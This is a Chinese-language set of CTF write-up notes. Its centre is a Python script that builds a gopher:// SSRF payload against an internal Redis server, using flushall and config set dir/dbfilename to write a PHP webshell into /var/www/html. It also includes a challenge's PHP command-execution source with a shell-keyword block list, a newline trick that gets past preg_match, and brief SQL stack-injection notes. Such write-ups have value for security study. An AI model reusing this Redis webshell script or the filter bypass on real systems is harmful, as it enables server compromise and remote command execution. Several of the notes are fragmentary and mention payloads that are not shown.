剛剛開啟網頁,通過隱藏引數發現個這個,啥東西???然後看了下wp發現是ssrf,好吧我沒啥經驗
繞過了file協定,少了file://
的兩個//
之後看了下wp說,是要打內網某主機。遂掃描d段得
埠是6379
利用gopher協定打redis
'''
之後存取ip/shell.php即可
'''
import urllib
protocol = "gopher://"
ip = "173.228.247.12" # 執行有redis的主機ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
題目原始碼
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
preg_match只會去匹配第一行,所以這裡可以用多行進行繞過
原始碼中可以看到putenv(‘PATH=/home/rceservice/jail’)已經修改了環境變數,我們只能用絕對路徑來呼叫系統命令
cat命令在/bin中儲存
所以構造出payload ,%0A是換行符
比較簡單,但是我有點傻剛剛沒想到這個
啊這這道題一點都不會,看了下師傅的WP
https://www.cnblogs.com/kevinbruce656/p/11347127.html
跟著題目提示一步一步來,太簡單了,沒啥意思
過於簡單了,複習一下filter協定的使用
複習了下預處理語句的使用吧還是很舒服哈哈哈,更改表名那個不太喜歡
還是一個堆疊注入
啊這
常規注入也不行我哭了啊啊啊,試一下預處理語句吶,再次失敗
在oracle 預設支援 通過 ‘ || ’ 來實現字串拼接,但在mysql 預設不支援。需要調整mysql 的sql_mode
模式:pipes_as_concat 來實現oracle 的一些功能
easy
唯一需要注意的一點就是md5生成演演算法得用python,因為tornado模板是python的